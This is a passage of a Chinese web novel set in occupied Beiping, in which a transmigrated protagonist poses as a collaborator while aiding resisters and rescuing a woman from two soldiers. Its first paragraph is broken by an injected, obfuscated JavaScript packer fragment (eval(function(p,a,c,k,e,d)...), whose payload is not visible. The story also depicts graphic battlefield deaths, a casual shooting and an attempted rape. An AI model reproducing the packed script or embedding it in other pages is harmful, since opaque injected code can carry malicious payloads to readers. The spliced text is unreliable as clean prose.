剧烈的疼痛不断的从双脚蔓延而上,到最后传遍四肢百骸。 傅云禾绷紧了浑身上下的每一根筋,几乎是竭尽全力才控制着自己,没有将双脚给缩回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但想到老大夫叮嘱她的双脚不能碰地,也不能使力,傅云禾又犹豫了起来,“哥哥……你能去帮我把抱娘找来吗?” 抱娘,顾名思义,就是指专门抱着裹了小脚的女子走路的妇人。 傅云禾已经有许久未曾让抱娘抱过她了,只不过为了以防万一,傅家也始终都养着抱娘。 “何必那么麻烦?”沈听肆起身走到傅云禾面前背对着她蹲下,“上来吧,我背你回去。” 傅云禾看着沈听肆略显消瘦的背影,迟疑了一瞬,却还是轻轻趴了上去。 她原以为自己的兄长看起来那样的瘦,或许会背不动她,可却没想到沈听肆背着她一步一步走得无比的平稳。 那个看着有些消瘦的背却无比的宽广,可以将她所有的不堪和小心思都包裹了起来,照顾着她仅剩不多的自尊心。 傅云禾闭了闭眼睛,用双手搂住了沈听肆的脖子,低声呢喃了一句,“大哥,谢谢你。” 回家以后,傅云禾正脚的事不出意外的引起了全府的震动。 张婉容捂着胸口直喘气,大骂傅云禾就是一个不孝女,先是退亲,又是正脚,这以后可还哪有任何一个高门子弟敢娶她回家? 但事情已经发生,无法做出改变了,再加上有沈听肆一直站在傅云禾这边,张婉容即便生气,可却也终究无能为力。 傅云禾的脚一日一日的好了起来,距离那个日子,也一日一日的近了。 ——九月二十七,前线失守,北平沦陷。 二十六日傍晚—— 密密麻麻的炮火仿佛是流星一般轰击在阵地上。 爆炸波动,尘土飞溅,死无全尸。 “轰——” 震耳欲聋的炮火声中,一个又一个绚烂的烟花散开。 时候明明是傍晚,天空被密密麻麻的乌云遮盖,看不到半点的日光。 视野中本该一片昏暗,可此时在无数炮火的攻击下,无垠的天空却亮若白昼,浩荡的能量泛起阵阵涟漪。 烟尘散尽,爆炸的中心只剩下一片断肢残骸,连一具完整的尸体都找不出来。 半晌过后,师长谢庭州奋力推开压在自己身上的副官的尸体,晃晃悠悠的站起了身来。 目之所及,一片猩红的血色,以及还在燃烧着的,赤红的火。 副官为了保护他,被榴弹炸死了,和无数的同志一样,牺牲在铺天盖地的弹火中。 可谢庭州没有时间悲伤,他也没有资格悲伤。 东瀛人还在不间断的进攻,他们后方千千万万的百姓还在等待着他们保护。 谢庭州闭了闭眼,强行将心底的痛苦掩去,对着一片的尸山血海喊了一声,“还活着的,都吱个声。” 片刻之后,一只鲜血淋漓的手从尸体堆里伸了出来,它的主人字正腔圆,“还有我!” 那只手费力的扒开一具又一具尸体,站在一个被榴弹炸出来的大坑里,“师长,我还在。” 那是一个小孩,不过才十七岁的年纪,却已经身经百战。 他是三十九师的通讯员,平日里是不上战场的。 可现在,却也没办法了。 东瀛人暂时停止了进攻,两个人在这短暂的空隙里静静等待着,等待着…… 可始终再也没有一个站出来。 直到东瀛人的下一轮进攻开始,依旧一个也没有。 整个三十九师,就剩他和师长谢庭州了。 谢庭州呲着牙笑了笑,满是灰黑的脸上,一口牙齿格外的白,轻轻问了一声,“怕不怕?我们俩今天,也要交代在这里了。” “不怕!”小同志摇摇头,双手握拳,一席话说的铿锵有力,“三十九师,没有孬种!” “好,三十九师,没有孬种!”谢庭州随手捡起一把沾满了不知道是谁的鲜血的长枪,紧紧的将其抓在了手中。 小同志也学着谢庭州的样子捡起了一把枪。 谢庭州眨着眼睛笑了,提着枪,迎着漫天的子弹和炮火冲了上去,“能拿下一个,咱们就赚了!” 小同志紧随其后,大喊着“三十九师没有孬种!”也冲了出去。 明之必死之局,但无悔矣…… 14. 第 14 章 初升的朝阳尽情肆意的挥洒着它的光芒,将整个北平城照亮。 初秋的阳光照在人身上暖洋洋的,天边一片绯红,天空中还时不时有飞鸟低速略过。 如此美丽的朝霞,却仿佛是用鲜血浸染的,诺大的一个城池,氛围寂静到恐怖,绯色的光芒下,看不到一丝活人的气息。 三十九师兵败,包括师长谢庭州在内的五千余人,全部殉国,前线失守,北平城沦陷。 城内人人自危,不少有钱有势的人家得知消息立马收拾行李准备跑路。 可绝大部分的百姓都没有背景,也没有钱,就算是想要跑路也毫无他法,只能苦守着自家门前的那一亩三分地,心中揣着一丝丝的希望,希望自己不要成为东瀛人手下的亡魂。 平日里热闹的街巷在此刻变得格外的冷清,长长的道路上看不到一个活物都影子,就连风都好似已经倦怠,漫不经心的,卷着地上飘零的树叶。 一片死寂中,浩浩荡荡的东瀛士兵排着队,从大东门踏入了北平城。 东瀛人作恶多端,烧杀抢掠的事情,他们已经知道了不胜凡几,因此,几乎是家家户户全部都紧闭着门窗。 不过却也有一些胆子大一点的,门窗上面露个细小的缝隙,眯着眼睛,透过那条缝,观察着外面的东瀛人。 平川大佐亲自带着人来迎接东瀛的士兵们进城,他身后还跟着不少的夏国人,基本上全部都是北平城商会的成员,里面有沈听肆这具身体的父亲傅烆,也有傅云禾的前公公盛父,还有乐倾川的父亲乐父。 而这其中,傅烆已然是北平商会的会长了。 这些士兵全部都是从战场上下来的,浑身都充满着肃杀之气,有的士兵还未曾来得及换洗衣服,土黄色的军装上面还沾染着氧化了的黑褐色的血迹。 那一件件布满鲜血的衣服,全部都是他们屠杀夏国军队的证明。 为首的一人脸上带着一条刀疤,疤痕贯穿了他的左半张脸,看起来格外的狰狞,但他却丝毫没有隐藏的意图,是大大方方的将这道疤痕袒露出来。 ——只因这是他荣誉的证明。 这道疤,是三十九师的师长谢庭州临死前拼死反扑所致,但他终究也只不过是留下了一道疤痕而已,根本改变不了东瀛人彻底占领北平的事实。 “平川君,许久不见了,”刀疤男笑意盈盈地向着平川大佐打招呼,“近来可好?” 平川大佐也是满面笑容,“相当不错,不过还是终究比不上佐藤大佐君意气风发了。” “哪里哪里?”佐藤大佐摆了摆手,“我只不过是一个只会带兵打仗的粗人罢了,如何能与平川军相较量?” “佐藤大佐君真是谦虚,”平川大佐皮笑肉不笑的应了一声,“只不过既然已经来了,那我们就里面请吧。” 虽是笑着,可那笑容却不达眼底,反而带着浓浓的警惕之色。 毕竟,佐藤大佐手里带着的,可全部都是在战场上厮杀下来的兵,虽说从今往后,北平是由他和佐藤大佐二人共治,两个人的军衔也是旗鼓相当。 可在手下士兵的数量上,平川大佐就是落了下风了。 他原本在北平是说一不二的,如今却要将自己的权利分出去一半,他又怎会心甘情愿? 两个人看似在叙旧,实际上看不见的战争早已经启动。 佐藤大佐微微摇了摇头,目光投向平川大佐身后的一群人,“平川君不向我介绍介绍吗?” 平川大佐脸上的笑意凝固了,装都快要装不下去。 这是一来就想要挖他手里的人啊? 可银川大佐也无法不给佐藤大佐面子,强忍着不耐一一介绍过去,轮到沈听肆的时候还着重介绍了一番,“这位是傅青隐傅君,现在任翻译一职,可是帮了我不少的忙呢。” 沈听肆脸上挂着恰到好处的笑,“佐藤君,初次见面,还请多多指教。” 不远处的一个小院子里面,主角团三人正愤愤不平地盯着这一幕。 三个月前沈听肆侮辱陈尽忠头颅的一幕,仿佛还在他们眼前浮现,此时,他又在东瀛的军官面前,奴颜谄媚! “傅!青!隐!”温承松双手紧紧的攥在一起,指甲都几乎快要掐进肉里,“傅青隐”这三个字被他一字一顿的喊出来,恨不得将其嚼碎在唇齿间,“我终有一天,要让他付出他应有的代价!” 国家危难时刻,就算不怀着满腔的热血,抛弃生命,挺身而出,蝇营狗苟,草草一生也不是不可。 毕竟选择明哲保身的大有人在。 可他却偏偏要选择叛国! 将屠刀握在手中,让刀尖对准自己的同胞,下手毫不犹豫,比谁都狠戾。 如此行径,比之那东瀛人还要可恶千千万万倍! 乐倾川的目光如刀,像是要深深的扎进沈听肆的灵魂深处,“就暂且让他先得意着吧。” 北平沦陷,东瀛士兵进城,负责他们的陈老师也已经牺牲,几日之前,组织上面传来了撤离的任务。 让他们放弃北平,南下去根据地。 虽然那个时候三十九师还没有全军覆没,可守不住,却已经成为了所有人心中既定的事实。 三十九师也接到了撤离的任务,可这只素来将军令当作天一样的队伍,却选择了无视命令,选择了坚守阵地到最后一刻。 他们自然是可以安稳撤离的,这样能够保下绝大部分战士的命,可一旦他们撤离,那么他们身后北平的百姓们就再也没有了被保护的力量。 只要他们能够多杀一个东瀛人,他们背后的百姓就能够多一份安全。 三十九师五千余人,在没有重型机枪,没有足够的武器的情况下,和佐藤大佐手下的东瀛士兵们血战了七天七夜,将对方两万多的队伍杀到了不到一万。 即便竭尽所能,也未能阻止北平沦陷的步伐。 可他们,虽死犹荣! 天子守国门,君王死社稷,军卒葬沙场,儿女殉江山。 这本该是应当刻在夏古人骨子里的诗句,却偏偏有人贪生怕死,做那奸邪之辈。 其他的同胞们早已经离开了,温承松三人依旧留在这里,除了想要邀请沈先生去南方以外,另外一个目的就是想要好好的将傅青隐在东瀛人面前奴颜谄媚的瞬间记在心间。 他们不能因为去了南方投入到前线的战争里,就将这个狗贼所做的一切忘却了。 他们会回来,带着胜利回来,将所有叛国的奸贼,处死在百姓的面前! 方槿闭了闭眼睛,将所有的酸涩都压在心底,“走吧,我们去等沈先生。” —— 为了迎接佐藤大佐的到来,东瀛人举办了格外盛大的宴会。 全北平城最好的厨子,最漂亮的伶人,最有钱的商户,全部都聚集在了一起。 平川大佐算是一个比较温和的人,他对待反抗党的手段虽然残忍,但他却并不弑杀,而且极其维护东瀛人的面子,对待上街游行的学生们,也只是把他们抓起来,关上一段时间就会放出去。 可才来到这里的佐藤大佐,却是一个极度的激进分子。 他最为信奉的就是谁不服就杀谁。 拿在手里的那把枪挨个在参与宴会的夏国人头顶上都抵了抵,“从现在开始,这个北平城就是我和平川君说了算,若是有任何人不服气,那就别怪我手里的枪会走火。” “明白吗?!” 说着这话的同时,他直接随手就击毙了一个伺候在旁边的小丫鬟。 如此的直接迅速,就连沈听肆都未曾反应过来。 那名小丫鬟的胸口瞬间氤氲起了一片湿润的血色,她都来不及反应究竟发生了什么事情,整个人就已经颓然倒地。 她拼命地瞪大了双眼,想要看一看就这般残忍对她动手的人。 可那凶手却连半分眼神都吝啬给她,冰冷的目光扫视过一圈的人,“看到了吗?” “不听话,就是这种下场!” 很快的,就有人将不知生死的小丫鬟给拖了下去。 如此一幕惊得参与宴会的所有人,都立马变得格外小心谨慎了起来,唯恐因为自己的一句话得罪了佐藤大佐,就直接一命呜呼了。 又过了一会,沈听肆借口上厕所出了宴会厅,外面几乎是五步一个哨岗,到处都是东瀛的士兵。 沈听肆寻着地上的拖痕在一个废弃的枯井里面找到了小丫鬟的尸体。 她就那样静静地蜷缩在井底,已然彻底的没了气息。 【宿主,她已经死了,】9999小声的陈述着这个残忍的事实,【你要快点儿回去,不然引起东瀛人的怀疑就不好了。】 沈听肆轻轻点头,【嗯。】 随后便没有再多说一个字。 宴会结束的时候,天已经完全暗了下来,傅烆和沈听肆并排往外走。 冷不丁的,傅烆出了声,“这个佐藤……你怎么看?” 沈听肆脚步未停,缓缓吐露出几个字眼,“阴狠嗜杀,是个硬茬。” 傅烆沉沉叹了一口气,一向在所有人面前都挺直的脊背却微微塌陷了下来,看不到一丝一毫他作为前朝贵族后裔的高傲。 “我想把你娘和妹妹她们都送到南方去。” 沉默了一会,傅烆缓缓说道,“她们留在这里太危险了,满大街都是东瀛的士兵,你的几个妹妹又容貌姣好,若是万一被他们看上……” 傅烆的话未说完,但沈听肆也明白他的意思。 那么多的东瀛士兵从战场上下来,急需寻找一些女子发泄,一旦被他们抓住,那可就不是被一两个人侵犯那么简单。 唯一能够保护她们的办法,就是将她们远远的送离了去。 傅烆曾经最是信奉家和万事兴,无论如何都要一家人整整齐齐的待在一起。 可刚才在宴会上看到佐藤大佐的行为后,他便彻底的将这个想法抛到了脑后去。 合家团圆再如何,终究是比不上一条命。 沈听肆也有这个打算,甚至已经提前做好了准备,只不过还没来得及和傅烆说罢了,只是听到他提及这个事情,自然是无不同意,“我已经提前安排了一些,明日就可以送他们离开。” 傅烆闻言猛然间抬起头来,仔细地打量着眼前的青年,仿佛是头一次认识对方一般,“你竟会提前做安排?” 在他的印象里,他的这个儿子虽然一直都很优秀,可却做事总是按部就班。 虽然在东瀛人那里挂了个职,看起来也深受平川大佐的信赖,但这两年多的时间里,可却似乎什么事都没有做出来。 傅烆也是一直觉得自己的这个儿子是为了不想死,所以才选择了投靠东瀛人。 他之所以默认了这一切,自然还是因为商人重利,像他们这种有钱的大户人家,早早的就已经落进了东瀛人的眼里,一旦他们试图做出反抗,迎接他们的就是全家被屠戮,随后所有的资产就都会变成东瀛人的。 因此傅烆表面上对东瀛人也一直都是恭恭敬敬的态度。 原本是指望着自己的长子能够继承家业,但在对方选择投靠东面人的那一刻,傅烆就将这个想法彻底的放了下去。 转而开始培养自己的次子傅逸安成为继承人。 这也是为什么他三个月前南下做生意,带了傅逸安一起去的缘由。 在他心里,沈听肆早已经被他放弃。 毕竟他的骨子里还有着夏国贵族的高傲,虽然明面上无法指责沈听肆叛国的行为,但他心中还是对其十分不耻的。 可今天沈听肆所说的话,却让他有了一种极其怪异的感觉。 就好像……沈听肆从未对东瀛人交心一般。 可他选择投靠东瀛人,不是已经有两年? 面对傅烆诧异的目光,沈听肆只随意的找了个理由,“毕竟她们也是我的亲人,不是吗?” “我也希望他们好好的。” 傅烆深深看了他一眼,没说什么话,大踏步向前走去了。 盛父见傅烆离开,急忙凑了上来,脸上带着一抹讨好的笑容,“贤侄啊,刚才宴会上的事情实在是有些太可怕了,这其中有没有其他什么需要注意的事情,你给我说说呗。” 那个佐藤可是说杀人就杀人啊,丝毫不顾及名声的。 万一哪天他一不小心把人得罪了,给他一个枪子儿,他到哪儿去说理去? 最好是一个有熟悉东瀛人的人,能够给他提点一些。 上次和盛父的合作还是挺愉快的,因此沈听肆也乐意指点他几句,“把你夫人和儿子提早送去南方吧。” 在原本的剧情里面,供应人为了彻底的控制住这些商会成员,将所有的钱都搂到自己的兜里,没少拿这些商人的妻子儿女做筹码。 盛子昂是个急性子,在被关押起来的时候骂了东瀛人几句,当场就被击毙了。 虽然他这个人有点渣,但却也罪不至死。 盛父虽然不明白沈听肆为什么要这么说,但因为对方深受平川大佐的信任,他总觉得沈听肆应当是知道一些什么内部消息的,所以连连答应了下来,“好的好的,我尽快将他们送走。” 沈听肆先是回了趟家,随后换了身衣服,将自己再次易容 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“战场上面,子弹打中人的其实并不多,你们要多注意随时会飞过来的榴弹,所以帽子要时时刻刻的带着……” 一开始三个人还在认真的听着,可听着听着就察觉到一丝不对劲来了。 温承松抬头深深的望进沈听肆的眼底,嗓音中带着一丝他自己都未曾察觉到的颤抖,“沈先生,你不和我们一起走吗?” “虽然你现在还没有加入我们的组织,我们却早已经把你当成我们组织的一员了,”方槿说着说着就哽咽了起来,“陈老师已经牺牲了,如果他活着的话,他应当也是会希望你和我们一起走的。” 原本是陈尽忠向南方写了一封信,提到了沈听肆加入组织的事情,可还不等他收到回信就已经牺牲。 而拿到那封回信的方法,只有陈尽忠一个人知道,所以他们也无从得知那封回信上面究竟写了什么内容。 但他们敢肯定,组织上面一定会同意沈听肆加入。 沈听肆救了他们很多次,就像是一个大家长一样的保护着他们,仿佛只要有他在,他们就会拥有着无尽的安全感。 陈老师已经牺牲了,三个年轻的青年,顿时感觉自己好似失去了方向一样,他们不想再离开沈听肆。 但沈听肆那只是轻轻笑了笑,随后拒绝,“不了,还有我的任务要做。” “可是你留在这里真的很危险……”方槿迫不及待的说道,“那么多的东瀛人,万一……” 她张了张口,话到嘴边,却有些说不下去。 万一被发现,沈听肆一定会死的比陈尽忠还要凄惨。 她不想将这个残忍的事实说出来。 “没事的,”沈听肆毫不在意的说道,“我不会暴露,你们也不用担心。” 温承松双手攥成拳,低着头,不敢抬头去看沈听肆,小声的呢喃着,“怎么可能会不担心……” 沈先生给他的感觉和傅青隐真的是太像了,虽然是完完全全两个不同的人,但是他却始终忍不住将沈先生带入到傅青隐的身上。 他知道傅青隐是叛徒,是汉奸,白日里他还亲眼看见了对方对着东瀛人卑躬屈膝的样子。 可傅青隐未曾叛变之前,就是沈先生这番模样。 温柔,强大,一往无前,无所畏惧。 就当是他在借着沈先生寄托着自己心中最为崇拜的那个人吧。 他实在是不愿意看到沈先生出事。 沉思了良久,温承松终于抬起头来,语调中带着一抹祈求之色,“沈先生,你就和我们一起离开吧,好不好?” 但回答他的却依旧是拒绝,“我留在这里的作用远比跟着你们离开要大,现在整个北平城已然是成为了东瀛人的天下,若是我也走了,你让其他人怎么办呢?” 沈听肆从兜里取出来一沓子钱庄的票号,“这些票号你们到南方一共可以兑换出来十万大洋,收好了。” 经济基础决定上层建筑,无论是士兵们要吃饭,还是要买装备都缺不了钱。 明明只是一沓薄薄的纸,温承松拿在手里却感觉宛若千斤重。 他不知道这些钱沈先生究竟攒了多久,不知道给了他们以后沈先生还有没有钱去吃饭,可他说不出拒绝的话来。 因为这笔钱无比的重要,有了这笔钱,他们才能去买更好的装备,才有足够的资本在战场上和东瀛的士兵们对抗。 温承松紧紧地拿着那沓票号,站起身来敬了一个标准的军礼,“我在这里替我的同志们,谢过沈先生!” 沈听肆点了点头,上前给了三人每人一个拥抱,“多保重。” 此番一别,再次见面,就该是三年后了。 —— 张佩瑶感觉到了一股从未有过的寒冷,这种冷意几乎透到了骨子里去。 她感觉自己的天灵盖仿佛被一记重锤给狠狠的击打了一下,眼前一阵阵的发黑,又好似整个人都泡在了冰水里一般,刺骨的含义不断地透过皮肤渗透进骨头里,冷的她灵魂都好似在颤抖。 她后悔了,她真的后悔了! 不应该因为和父亲赌气,就独自一个人偷偷跑出来。 结果她没有等到父亲派人来找她,却遇到了两个在街上乱逛的东瀛士兵。 “花姑娘……” “哈哈哈哈……” 那两个东瀛士兵挡住她的去路,一左一右将她堵在小巷子里,一边□□着,一边向她走近。 张佩瑶想要跑,可却根本跑不过两个人,“放过我……我求求你们了,不要……” 其中一个东瀛士兵,三两下就扒掉了她的上衣,随即整个人就压了上来,那带着腥臭味道的嘴巴不停的啃在她的脖颈上。 张佩瑶整个人痛不欲生,眼泪彻底的断了线不停的往下流,她拼了命的挣扎,可她的力气实在是太小了,无论如何都挣脱不开。 “哈哈哈哈,花姑娘……”另外一名东瀛士兵则是直接将双手伸向张佩瑶的裙子,粘腻的,带着汗臭的,恶心至极的双手不停的摩挲着她的大腿。 直到身下一凉,张佩瑶发出了一阵绝望的哀嚎,“救命……” 就在这千钧一发的时刻,压在张佩瑶身上的那名东瀛人却猛然间被提了起来,他都未曾来得及发出任何的声音,就已经被一道锋利的匕首给抹了脖子。 另外一名东瀛士兵扭身回头,眼中杀意凛冽,用东瀛话大喊了一声,“什么人?!” 鲜血淋漓中,沈听肆也用东瀛话回了他一句,“来要你命的人。” 15. 第 15 章 眼睁睁的看着两名东瀛士兵就这样死在了自己面前,张佩瑶吓得几乎连话都不敢说了。 她紧紧的用双臂抱着自己的身体,眼泪大颗大颗的从脸颊上滑落。 内心的恐惧,几乎在这一刻达到了顶峰。 或许被那两个东瀛士兵玷污,她还有一条命可以苟活。 可一旦被东瀛人发现,这两个东瀛士兵的死亡和她有关,那她恐怕就再也见不到第二天的太阳了。 而且说不定还会连累的家里人和她一起遭殃。 前所未有的悔意从心中涌起,宛若一整片汪洋一般砸下来,砸的张佩瑶头晕目眩,几乎要昏死过去。 一想到这里,张佩瑶就感觉自己的胸口,好似被什么东西在啃噬一样,密密麻麻专心的痛苦,将整个胸腔都给覆盖了,疼得她呼吸困难,眼前阵阵发黑,甚者在思索,要不然就此一了百了,也免得因为自己连累了家人。 但就在下一刻,一件还带着些许体温的,透着一股淡雅清香的外套遮住了她单薄的身躯,将她所有的狼狈不堪都盖在了外套底下。 皮肤上面刺眼的红痕,似乎就这样简单的在她眼前消失不见了。 张佩瑶茫然了一瞬,似乎还有些没反应过来究竟发生了什么事。 她只看到来人轻轻松松地解决了那两名东瀛士兵,然后背对着她,“你可以先把我的外衣穿上,如果有什么需要帮忙的,可以告诉我。” 对比于他刚才对那两名东瀛士兵动手时的狠辣,此时他显得有些过分的温柔了起来。 变脸的速度简直比翻书还要快。 张佩瑶呆呆傻傻的看着沈听肆,一时之间吓得连呼吸声都有些弱了起来。 她该怎么办……? 难不成刚逃出狼窝又入了虎穴? 这人真的好像是个变态! 沈听肆见背后的姑娘半晌都没有动静,忍不住开口提醒,“姑娘还是动作快些的吧,一会儿若是再遇上几个巡查的东瀛士兵可就不好了。” 张佩瑶这才反应过来,“哦哦哦,好的。” 她的上衣被撕坏了,裙子也被扯烂了,若是就这样回去,一旦被人看到,那她这辈子也就完蛋了。 但幸好沈听肆的衣服足够大,虽然只是一件上衣,却也能够将张佩瑶膝盖以上的部分全部都包裹其中。 感受着衣服上面传来的阵阵暖意,张佩瑶心中的警惕稍稍减缓了一些,她扶着墙站了起来,虽然双腿酸软的不行,可却并没有寻求帮助,而是小心翼翼的打量着沈听肆,“你……你是什么人?” “你就这样把这两个东瀛士兵给杀了,万一被发现了……” “所以……”沈听肆轻笑了一声,回过头来看向张佩瑶,“现在还不跑,站在这里等着被抓吗?” 张佩瑶:“!!!” 感情你杀完人以后没有想过任何的处理方法吗? 张佩瑶惊呆了,嘴巴大张着,几乎都能够塞进去一个鸡蛋,磕磕绊绊的开口道,“就……就这么扔在这里,不管了?” 那等到尸体被发现的时候,岂不是又要全程搜捕? “那不然呢?”沈听肆挑了挑眉,眉眼含笑地询问张佩瑶,“要不你把这两具尸体拖回家去?” 张佩瑶:“……” 罢了,还是赶紧跑路吧。 她双手紧紧的拽着那件外套,因为穿着高跟鞋实在是跑不快,张佩瑶直接将高跟鞋脱下来提在了手里,赤着脚一路狂奔。 沈听肆身高腿长,看起来好像是在闲庭散步般的行走,可却始终不远不近的坠在张佩瑶的身后,没有落下半分。 剧情中,傅青隐并没有弄出来沈先生这样的一个马甲,因此也就没有在这天晚上去见温承松等人,自然也是不会遇到张佩瑶被两个东瀛士兵欺负的事情。 他是在第二天早上才得知这件事的。 张佩瑶的父亲想要把她送到国外去,避开这些祸端,可张佩瑶却不愿意。 她不想独自一个人去一个人生地不熟的地方,再加上她的洋文说的也不是特别好,而且外国的那些洋人极其的歧视夏国人,她去了以后日子过的肯定没有在国内这般顺畅。 张佩瑶也知道一些简单的时政,但身为张家的大小姐,她几乎是生长在象牙塔里面,从未见识过什么是真正的恶。 对于东瀛人的残酷,也只是在报纸上看到,或者是别人的口中听说过而已。 因此,在张父用极其强硬的态度要送她离开的时候,张佩瑶一怒之下直接离家出走了,想要通过这件事情让张父答应不把她送去国外。 可张佩瑶低估了东瀛士兵的残忍。 那两名东瀛士兵在她身上发泄了一番不说,甚至还直接将她给杀死了。 直到第二天天亮后,才有路过的行人发现了张佩瑶残破不堪的尸体。 张父老来得女,对张佩瑶极其的疼爱,看着自己捧在心尖尖上的女儿如此惨死的样子,张父彻底的恨上了东瀛人。 张家虽然也是北平商会的一员,可张家的生意和傅家是没有什么交集的,因为张家开了一家私立的医院。 虽然目前各种药品都被严格的管控着,但张父还是有一些途径能够拿到旁人拿不到的药来。 他为了给女儿报仇,在一次宴会的时候,给平川大佐和佐藤大佐的茶水里面下了毒。 但这两人小心谨慎惯了,任何要入口的东西都会让旁人先尝试,确认没有任何问题以后才会吃进肚子里去。 所以张父不仅没有杀了平川大佐和佐藤大佐给自己的女儿报仇,反而搭上了自己的一条命。 他死了之后,张家的那家医院也彻底的落入了东瀛人的手里。 沈听肆既然得知会发生这样的一件事情,自然是不会放手不管的。 更何况,张父手里的药材,能救下千千万万的反抗军的命。 两个人七拐八拐的躲避着路人,几乎绕了半个北平城才终于回了家。 来到家门口,张佩瑶的脚步停了下来。 刚才是为了避免被发现,所以一路上都在狂奔,内心焦急不已,张佩瑶就下意识的将自己偷偷跑出去的这件事情给忘到了脑后去。 可此时她这副样子回家,又如何隐瞒的了呢? 张佩瑶还没有想好一会儿究竟要怎么给张父解释,沈听肆竟然就直接大摇大摆的去敲门了! 张佩瑶目瞪口呆的看着沈听肆,“你……你怎么能这么自作主张?!” 她还没有想好要找一个什么样的借口啊喂! 沈听肆回过头来看她一眼,淡淡的开口道,“我总得把你安安全全的交到你父母手中啊。” 张佩瑶:“……” 你赢了。 张家并不如傅家那般祖上是前朝的贵族,因此他们未曾住在宅院里,而是住在一栋极其漂亮的别墅中。 管家带着佣人前来开门后,看到张佩瑶大吃一惊,“小姐,你什么时候出去的?!” 张佩瑶也惊呆了。 感情她跑出去这么长时间,差点儿还被两个东瀛人给侵犯,她爹是一点儿都不知道啊?! 管家问完这话后,立马又发现了张佩瑶身上的不对劲儿。 张佩瑶头发凌乱,脸上还有着一个明晃晃的巴掌印,脖子上面都是抓痕,脚上也都是伤口,甚至包裹在那宽大的外套下面,堪堪露出来了一截的领口,也是破破烂烂的。 管家也算是见多识广,立马就猜测到发生了什么不好的事情,急忙吩咐身旁的佣人去喊老爷,随后又将沈听肆给迎到了会客厅去。 “我先下去整理一下。”张佩瑶现在这副样子实在是太狼狈了,她虽然是想让张父担心她一下,但却也不是如今这么个担心法。 沈听肆轻轻点点头,应了一声,“好。” “发生什么事了?” 果然不愧是一个女儿奴,沈听肆才刚刚坐下,去给他泡茶的丫鬟都还没有来呢,张父充满担忧的声音就已经响了起来。 管家凑过去小声的在他耳边说了声,“小姐的衣裳脏了,现在去房间里换衣裳了,是这位先生将小姐送过来的。” “哪里来的小兔崽……”张父想要看看究竟是哪个登徒子大晚上的霍霍他女儿,张嘴就要骂,可在看到沈听肆面容的一瞬间,到了嘴边的脏话又被他硬生生的给憋了回去,转而磕磕绊绊地开口道,“原……原来是傅少爷。” 张父紧张的一颗心砰砰直跳,甚至在心中都开始考虑放弃北平的一切带着全家都去国外了。 毕竟沈听肆他得罪不起,但他也不可能将自己的女儿送到这个狼窝里去。 “不知傅少爷和小女……”张父走过来在沈听肆对面的沙发上坐下,小心翼翼的试探着。 沈听肆不想和他弄这些虚头巴脑的东西,直接开口说明了自己的来意,“张小姐在外头差点被两名东瀛士兵给欺负了……” 听到这话的张父顿时攥紧了拳头,“这些该死的东瀛人,阿瑶她……” 说着这话,张父就直接站起身来就要往楼上跑,他得好好去看看他的宝贝女儿,万一女儿有什么想不开的。 “张老板不必如此焦急,”沈听肆慢悠悠的开口,说话的语调中夹杂着一抹意味深长,“张小姐并无大碍,有事的是那两名东瀛士兵。” 张父在生意场上摸爬滚打多年,虽然是练就了好一番察言观色的本事的,看着沈听肆皮笑肉不笑的表情,张父顿时感觉自己好像变成了被沈听肆盯上的猎物。 他深吸了一口气,返回沙发上坐下,“傅少爷,您这是什么意思?” 沈听肆几倍往后面靠了靠,两腿交叠着漫不经心的说道,“意思就是,那两名东瀛士兵,死了。” “你说什么?!”张父又‘噌’的一下从沙发上站了起来,那双眼睛直勾勾的盯着沈听肆,试图从他的脸上看出半分开玩笑的意味来。 可是没有,一丝都没有。 白日里东瀛的大军才进了城,晚上就死了两名士兵,这岂不是明晃晃的打东瀛人的脸? 现在整个北平城都落在了他们的手中,为了他们能够更好的统治北平,这件事情绝对不会就这样善罢甘休。 张父也是亲眼见识到了佐藤大佐的手段的,一旦被泄露出去,他的女儿定然是会没命。 而唯一一个能够帮他在东瀛人面前隐瞒这件事情的人,就只有沈听肆了。 张父很快明白了沈听肆的意思。 怪不得如此大摇大摆,一副有恃无恐的样子。 可偏偏就是拿捏住了自己。 张父长长的吐出一口浊气,静下心来思索了好一阵,才终于任命般的开口,“傅少爷想要什么?” 沈听肆抬头睨他一眼,轻描淡写的说道,“也不多,就是听说张老板有另外的,可以拿到药品的途径,只是希望张老板可以共享一下罢了。” 还真是大言不惭,张父的一张脸黑的几乎快要滴出墨来。 为了自己的女儿,他也不得不答应。 张父攥着拳头,咬牙切齿,“好,可以。” “口说无凭,”沈听肆脸上依旧挂着浅浅的笑,“不如张老板立个字据?” 张父在心底冷笑了一声。 果然不愧是东瀛人的走狗,把小人得志的模样学了个十成十。 “行,都应你。”张父亲自写了字据,还又按下了自己的手印。 沈听肆手里拿着那张轻飘飘的纸,勾唇笑着,“张老板,大气!” 说完这话,他将那张纸叠起来,谨慎的将其贴身收藏,随后就大摇大摆的离开了张家的别墅。 “妈的!”等到人彻底的消失在黑夜中,再也看不见,张父气急败坏的踹了一脚茶几。 茶几翻倒在地,桌上的东西也都叽里咕噜的滚落下来,散落的到处都是。 好不狼藉。 他一个年过半百的人,竟然被一个二十多岁的毛头小子给威胁了! 可偏偏他还只能硬生生受着! 写了那张字据,就相当于把他们张家彻底的和沈听肆绑在了一起,此后,沈听肆随时随地都能拿那张纸纸来威胁他! 但他却毫无他法。 张佩瑶换了身干净的衣裳走下楼来,然后就看到会客厅里一片乱糟糟,张父颓然的坐在一旁,浑身上下都仿佛被怒火所环绕。 张佩瑶突然就怂了,站在楼梯口,不敢下去。 但其实在她刚一开始出现的时候,张父就已经发现了她。 张父扭头,抬眼向上望过去,那双眼眸里面虽然依旧饱含着对于张佩瑶浓烈的父爱,可说话的语调却是带着不容置喙的冷,“明日就送你出国!” 张佩瑶纵使千般不愿,可面对此情此景,她也说不出拒绝的话来了,“好,我走。” —— 第二日,发现两名东瀛士兵无缘无故惨死的时候,平川大佐果然是愤怒异常,“这群该死的夏国人!一定是他们干的!” “耻辱,这简直就是奇耻大辱!!!”佐藤大佐更是愤怒,那张本就刻薄的面庞,此时更是扭曲到显得狰狞了起来。 无论如何,那都是他手下的兵,那才刚刚带着他手下的军队门驻扎进北平,不过一个晚上的时间,就有两名士兵惨死北平街头,这让他如何在北平立威? 他的颜面又何在? 虽然他和平川大佐的军衔是相同的,但是佐藤大佐,自认为自己是从前线上拼杀下来的,就算是两个人共治,他也应该要稳压平川大佐一头。 这也是他昨日在宴会上面毫不留情的就直接开枪射击了一个夏国人的缘由。 